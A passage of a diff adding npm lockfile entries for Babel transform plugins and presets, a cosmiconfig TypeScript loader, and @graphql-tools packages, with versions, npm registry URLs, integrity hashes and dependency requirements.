+            "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-react-display-name": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz",
+            "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-react-jsx": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.18.10.tgz",
+            "integrity": "sha512-gCy7Iikrpu3IZjYZolFE4M1Sm+nrh1/6za2Ewj77Z+XirT4TsbJcvOFOyF+fRPwU6AKKK136CZxx6L8AbSFG6A==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-module-imports": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/plugin-syntax-jsx": "^7.18.6",
+                "@babel/types": "^7.18.10"
+            }
+        },
+        "@babel/plugin-transform-react-jsx-development": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz",
+            "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==",
+            "requires": {
+                "@babel/plugin-transform-react-jsx": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-react-pure-annotations": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz",
+            "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==",
+            "requires": {
+                "@babel/helper-annotate-as-pure": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-regenerator": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz",
+            "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "regenerator-transform": "^0.15.0"
+            }
+        },
+        "@babel/plugin-transform-reserved-words": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz",
+            "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-runtime": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.18.10.tgz",
+            "integrity": "sha512-q5mMeYAdfEbpBAgzl7tBre/la3LeCxmDO1+wMXRdPWbcoMjR3GiXlCLk7JBZVVye0bqTGNMbt0yYVXX1B1jEWQ==",
+            "requires": {
+                "@babel/helper-module-imports": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "babel-plugin-polyfill-corejs2": "^0.3.2",
+                "babel-plugin-polyfill-corejs3": "^0.5.3",
+                "babel-plugin-polyfill-regenerator": "^0.4.0",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "@babel/plugin-transform-shorthand-properties": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz",
+            "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-spread": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.18.9.tgz",
+            "integrity": "sha512-39Q814wyoOPtIB/qGopNIL9xDChOE1pNU0ZY5dO0owhiVt/5kFm4li+/bBtwc7QotG0u5EPzqhZdjMtmqBqyQA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-sticky-regex": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz",
+            "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-template-literals": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz",
+            "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-typeof-symbol": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz",
+            "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-typescript": {
+            "version": "7.18.12",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.18.12.tgz",
+            "integrity": "sha512-2vjjam0cum0miPkenUbQswKowuxs/NjMwIKEq0zwegRxXk12C9YOF9STXnaUptITOtOJHKHpzvvWYOjbm6tc0w==",
+            "requires": {
+                "@babel/helper-create-class-features-plugin": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/plugin-syntax-typescript": "^7.18.6"
+            }
+        },
+        "@babel/plugin-transform-unicode-escapes": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz",
+            "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.9"
+            }
+        },
+        "@babel/plugin-transform-unicode-regex": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz",
+            "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==",
+            "requires": {
+                "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+                "@babel/helper-plugin-utils": "^7.18.6"
+            }
+        },
+        "@babel/preset-env": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.18.10.tgz",
+            "integrity": "sha512-wVxs1yjFdW3Z/XkNfXKoblxoHgbtUF7/l3PvvP4m02Qz9TZ6uZGxRVYjSQeR87oQmHco9zWitW5J82DJ7sCjvA==",
+            "requires": {
+                "@babel/compat-data": "^7.18.8",
+                "@babel/helper-compilation-targets": "^7.18.9",
+                "@babel/helper-plugin-utils": "^7.18.9",
+                "@babel/helper-validator-option": "^7.18.6",
+                "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6",
+                "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9",
+                "@babel/plugin-proposal-async-generator-functions": "^7.18.10",
+                "@babel/plugin-proposal-class-properties": "^7.18.6",
+                "@babel/plugin-proposal-class-static-block": "^7.18.6",
+                "@babel/plugin-proposal-dynamic-import": "^7.18.6",
+                "@babel/plugin-proposal-export-namespace-from": "^7.18.9",
+                "@babel/plugin-proposal-json-strings": "^7.18.6",
+                "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9",
+                "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6",
+                "@babel/plugin-proposal-numeric-separator": "^7.18.6",
+                "@babel/plugin-proposal-object-rest-spread": "^7.18.9",
+                "@babel/plugin-proposal-optional-catch-binding": "^7.18.6",
+                "@babel/plugin-proposal-optional-chaining": "^7.18.9",
+                "@babel/plugin-proposal-private-methods": "^7.18.6",
+                "@babel/plugin-proposal-private-property-in-object": "^7.18.6",
+                "@babel/plugin-proposal-unicode-property-regex": "^7.18.6",
+                "@babel/plugin-syntax-async-generators": "^7.8.4",
+                "@babel/plugin-syntax-class-properties": "^7.12.13",
+                "@babel/plugin-syntax-class-static-block": "^7.14.5",
+                "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+                "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+                "@babel/plugin-syntax-import-assertions": "^7.18.6",
+                "@babel/plugin-syntax-json-strings": "^7.8.3",
+                "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+                "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+                "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+                "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+                "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+                "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+                "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+                "@babel/plugin-syntax-top-level-await": "^7.14.5",
+                "@babel/plugin-transform-arrow-functions": "^7.18.6",
+                "@babel/plugin-transform-async-to-generator": "^7.18.6",
+                "@babel/plugin-transform-block-scoped-functions": "^7.18.6",
+                "@babel/plugin-transform-block-scoping": "^7.18.9",
+                "@babel/plugin-transform-classes": "^7.18.9",
+                "@babel/plugin-transform-computed-properties": "^7.18.9",
+                "@babel/plugin-transform-destructuring": "^7.18.9",
+                "@babel/plugin-transform-dotall-regex": "^7.18.6",
+                "@babel/plugin-transform-duplicate-keys": "^7.18.9",
+                "@babel/plugin-transform-exponentiation-operator": "^7.18.6",
+                "@babel/plugin-transform-for-of": "^7.18.8",
+                "@babel/plugin-transform-function-name": "^7.18.9",
+                "@babel/plugin-transform-literals": "^7.18.9",
+                "@babel/plugin-transform-member-expression-literals": "^7.18.6",
+                "@babel/plugin-transform-modules-amd": "^7.18.6",
+                "@babel/plugin-transform-modules-commonjs": "^7.18.6",
+                "@babel/plugin-transform-modules-systemjs": "^7.18.9",
+                "@babel/plugin-transform-modules-umd": "^7.18.6",
+                "@babel/plugin-transform-named-capturing-groups-regex": "^7.18.6",
+                "@babel/plugin-transform-new-target": "^7.18.6",
+                "@babel/plugin-transform-object-super": "^7.18.6",
+                "@babel/plugin-transform-parameters": "^7.18.8",
+                "@babel/plugin-transform-property-literals": "^7.18.6",
+                "@babel/plugin-transform-regenerator": "^7.18.6",
+                "@babel/plugin-transform-reserved-words": "^7.18.6",
+                "@babel/plugin-transform-shorthand-properties": "^7.18.6",
+                "@babel/plugin-transform-spread": "^7.18.9",
+                "@babel/plugin-transform-sticky-regex": "^7.18.6",
+                "@babel/plugin-transform-template-literals": "^7.18.9",
+                "@babel/plugin-transform-typeof-symbol": "^7.18.9",
+                "@babel/plugin-transform-unicode-escapes": "^7.18.10",
+                "@babel/plugin-transform-unicode-regex": "^7.18.6",
+                "@babel/preset-modules": "^0.1.5",
+                "@babel/types": "^7.18.10",
+                "babel-plugin-polyfill-corejs2": "^0.3.2",
+                "babel-plugin-polyfill-corejs3": "^0.5.3",
+                "babel-plugin-polyfill-regenerator": "^0.4.0",
+                "core-js-compat": "^3.22.1",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "@babel/preset-modules": {
+            "version": "0.1.5",
+            "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+            "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.0.0",
+                "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+                "@babel/plugin-transform-dotall-regex": "^7.4.4",
+                "@babel/types": "^7.4.4",
+                "esutils": "^2.0.2"
+            }
+        },
+        "@babel/preset-react": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz",
+            "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/helper-validator-option": "^7.18.6",
+                "@babel/plugin-transform-react-display-name": "^7.18.6",
+                "@babel/plugin-transform-react-jsx": "^7.18.6",
+                "@babel/plugin-transform-react-jsx-development": "^7.18.6",
+                "@babel/plugin-transform-react-pure-annotations": "^7.18.6"
+            }
+        },
+        "@babel/preset-typescript": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz",
+            "integrity": "sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==",
+            "requires": {
+                "@babel/helper-plugin-utils": "^7.18.6",
+                "@babel/helper-validator-option": "^7.18.6",
+                "@babel/plugin-transform-typescript": "^7.18.6"
+            }
+        },
+        "@babel/runtime": {
+            "version": "7.18.6",
+            "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.18.6.tgz",
+            "integrity": "sha512-t9wi7/AW6XtKahAe20Yw0/mMljKq0B1r2fPdvaAdV/KPDZewFXdaaa6K7lxmZBZ8FBNpCiAT6iHPmd6QO9bKfQ==",
+            "requires": {
+                "regenerator-runtime": "^0.13.4"
+            },
+            "dependencies": {
+                "regenerator-runtime": {
+                    "version": "0.13.9",
+                    "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+                    "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+                }
+            }
+        },
+        "@babel/runtime-corejs3": {
+            "version": "7.18.9",
+            "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.18.9.tgz",
+            "integrity": "sha512-qZEWeccZCrHA2Au4/X05QW5CMdm4VjUDCrGq5gf1ZDcM4hRqreKrtwAn7yci9zfgAS9apvnsFXiGBHBAxZdK9A==",
+            "requires": {
+                "core-js-pure": "^3.20.2",
+                "regenerator-runtime": "^0.13.4"
+            },
+            "dependencies": {
+                "regenerator-runtime": {
+                    "version": "0.13.9",
+                    "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+                    "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+                }
+            }
+        },
+        "@babel/standalone": {
+            "version": "7.18.12",
+            "resolved": "https://registry.npmjs.org/@babel/standalone/-/standalone-7.18.12.tgz",
+            "integrity": "sha512-wDh3K5IUJiSMAY0MLYBFoCaj2RCZwvDz5BHn2uHat9KOsGWEVDFgFQFIOO+81Js2phFKNppLC45iOCsZVfJniw=="
+        },
+        "@babel/template": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz",
+            "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==",
+            "requires": {
+                "@babel/code-frame": "^7.18.6",
+                "@babel/parser": "^7.18.10",
+                "@babel/types": "^7.18.10"
+            }
+        },
+        "@babel/traverse": {
+            "version": "7.18.11",
+            "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.18.11.tgz",
+            "integrity": "sha512-TG9PiM2R/cWCAy6BPJKeHzNbu4lPzOSZpeMfeNErskGpTJx6trEvFaVCbDvpcxwy49BKWmEPwiW8mrysNiDvIQ==",
+            "requires": {
+                "@babel/code-frame": "^7.18.6",
+                "@babel/generator": "^7.18.10",
+                "@babel/helper-environment-visitor": "^7.18.9",
+                "@babel/helper-function-name": "^7.18.9",
+                "@babel/helper-hoist-variables": "^7.18.6",
+                "@babel/helper-split-export-declaration": "^7.18.6",
+                "@babel/parser": "^7.18.11",
+                "@babel/types": "^7.18.10",
+                "debug": "^4.1.0",
+                "globals": "^11.1.0"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "@babel/types": {
+            "version": "7.18.10",
+            "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.18.10.tgz",
+            "integrity": "sha512-MJvnbEiiNkpjo+LknnmRrqbY1GPUUggjv+wQVjetM/AONoupqRALB7I6jGqNUAZsKcRIEu2J6FRFvsczljjsaQ==",
+            "requires": {
+                "@babel/helper-string-parser": "^7.18.10",
+                "@babel/helper-validator-identifier": "^7.18.6",
+                "to-fast-properties": "^2.0.0"
+            },
+            "dependencies": {
+                "to-fast-properties": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
+                    "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog=="
+                }
+            }
+        },
+        "@endemolshinegroup/cosmiconfig-typescript-loader": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/@endemolshinegroup/cosmiconfig-typescript-loader/-/cosmiconfig-typescript-loader-3.0.2.tgz",
+            "integrity": "sha512-QRVtqJuS1mcT56oHpVegkKBlgtWjXw/gHNWO3eL9oyB5Sc7HBoc2OLG/nYpVfT/Jejvo3NUrD0Udk7XgoyDKkA==",
+            "requires": {
+                "lodash.get": "^4",
+                "make-error": "^1",
+                "ts-node": "^9",
+                "tslib": "^2"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "@graphql-tools/batch-execute": {
+            "version": "7.1.2",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/batch-execute/-/batch-execute-7.1.2.tgz",
+            "integrity": "sha512-IuR2SB2MnC2ztA/XeTMTfWcA0Wy7ZH5u+nDkDNLAdX+AaSyDnsQS35sCmHqG0VOGTl7rzoyBWLCKGwSJplgtwg==",
+            "requires": {
+                "@graphql-tools/utils": "^7.7.0",
+                "dataloader": "2.0.0",
+                "tslib": "~2.2.0",
+                "value-or-promise": "1.0.6"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/delegate": {
+            "version": "7.1.5",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/delegate/-/delegate-7.1.5.tgz",
+            "integrity": "sha512-bQu+hDd37e+FZ0CQGEEczmRSfQRnnXeUxI/0miDV+NV/zCbEdIJj5tYFNrKT03W6wgdqx8U06d8L23LxvGri/g==",
+            "requires": {
+                "@ardatan/aggregate-error": "0.0.6",
+                "@graphql-tools/batch-execute": "^7.1.2",
+                "@graphql-tools/schema": "^7.1.5",
+                "@graphql-tools/utils": "^7.7.1",
+                "dataloader": "2.0.0",
+                "tslib": "~2.2.0",
+                "value-or-promise": "1.0.6"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/graphql-file-loader": {
+            "version": "6.2.7",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/graphql-file-loader/-/graphql-file-loader-6.2.7.tgz",
+            "integrity": "sha512-5k2SNz0W87tDcymhEMZMkd6/vs6QawDyjQXWtqkuLTBF3vxjxPD1I4dwHoxgWPIjjANhXybvulD7E+St/7s9TQ==",
+            "requires": {
+                "@graphql-tools/import": "^6.2.6",
+                "@graphql-tools/utils": "^7.0.0",
+                "tslib": "~2.1.0"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.1.0.tgz",
+                    "integrity": "sha512-hcVC3wYEziELGGmEEXue7D75zbwIIVUMWAVbHItGPx0ziyXxrOMQx4rQEVEV45Ut/1IotuEvwqPopzIOkDMf0A=="
+                }
+            }
+        },
+        "@graphql-tools/import": {
+            "version": "6.7.3",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/import/-/import-6.7.3.tgz",
+            "integrity": "sha512-7D/nDfwAj1TEkF+vAxm+hxgYNQW3h1kDz8JnYmvvY1Yv7OxZQQHDNd4tVg3BYVtW2kjsz3nzip46Z8ZQ9L7gHg==",
+            "requires": {
+                "@graphql-tools/utils": "8.10.0",
+                "resolve-from": "5.0.0",
+                "tslib": "^2.4.0"
+            },
+            "dependencies": {
+                "@graphql-tools/utils": {
+                    "version": "8.10.0",
+                    "resolved": "https://registry.npmjs.org/@graphql-tools/utils/-/utils-8.10.0.tgz",
+                    "integrity": "sha512-yI+V373FdXQbYfqdarehn9vRWDZZYuvyQ/xwiv5ez2BbobHrqsexF7qs56plLRaQ8ESYpVAjMQvJWe9s23O0Jg==",
+                    "requires": {
+                        "tslib": "^2.4.0"
+                    }
+                },
+                "resolve-from": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+                    "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+                },
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "@graphql-tools/json-file-loader": {
+            "version": "6.2.6",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/json-file-loader/-/json-file-loader-6.2.6.tgz",
+            "integrity": "sha512-CnfwBSY5926zyb6fkDBHnlTblHnHI4hoBALFYXnrg0Ev4yWU8B04DZl/pBRUc459VNgO2x8/mxGIZj2hPJG1EA==",
+            "requires": {
+                "@graphql-tools/utils": "^7.0.0",
+                "tslib": "~2.0.1"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.0.3",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.3.tgz",
+                    "integrity": "sha512-uZtkfKblCEQtZKBF6EBXVZeQNl82yqtDQdv+eck8u7tdPxjLu2/lp5/uPW+um2tpuxINHWy3GhiccY7QgEaVHQ=="
+                }
+            }
+        },
+        "@graphql-tools/load": {
+            "version": "6.2.8",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/load/-/load-6.2.8.tgz",
+            "integrity": "sha512-JpbyXOXd8fJXdBh2ta0Q4w8ia6uK5FHzrTNmcvYBvflFuWly2LDTk2abbSl81zKkzswQMEd2UIYghXELRg8eTA==",
+            "requires": {
+                "@graphql-tools/merge": "^6.2.12",
+                "@graphql-tools/utils": "^7.5.0",
+                "globby": "11.0.3",
+                "import-from": "3.0.0",
+                "is-glob": "4.0.1",
+                "p-limit": "3.1.0",
+                "tslib": "~2.2.0",
+                "unixify": "1.0.0",
+                "valid-url": "1.0.9"
+            },
+            "dependencies": {
+                "array-union": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+                    "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="
+                },
+                "globby": {
+                    "version": "11.0.3",
+                    "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz",
+                    "integrity": "sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==",
+                    "requires": {
+                        "array-union": "^2.1.0",
+                        "dir-glob": "^3.0.1",
+                        "fast-glob": "^3.1.1",
+                        "ignore": "^5.1.4",
+                        "merge2": "^1.3.0",
+                        "slash": "^3.0.0"
+                    }
+                },
+                "is-glob": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+                    "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
+                    "requires": {
+                        "is-extglob": "^2.1.1"
+                    }
+                },
+                "p-limit": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+                    "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+                    "requires": {
+                        "yocto-queue": "^0.1.0"
+                    }
+                },
+                "tslib": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+                    "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w=="
+                }
+            }
+        },
+        "@graphql-tools/merge": {
+            "version": "6.2.14",
+            "resolved": "https://registry.npmjs.org/@graphql-tools/merge/-/merge-6.2.14.tgz",
+            "integrity": "sha512-RWT4Td0ROJai2eR66NHejgf8UwnXJqZxXgDWDI+7hua5vNA2OW8Mf9K1Wav1ZkjWnuRp4ztNtkZGie5ISw55ow==",
+            "requires": {
+                "@graphql-tools/schema": "^7.0.0",
+                "@graphql-tools/utils": "^7.7.0",
+                "tslib": "~2.2.0"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.2.0",
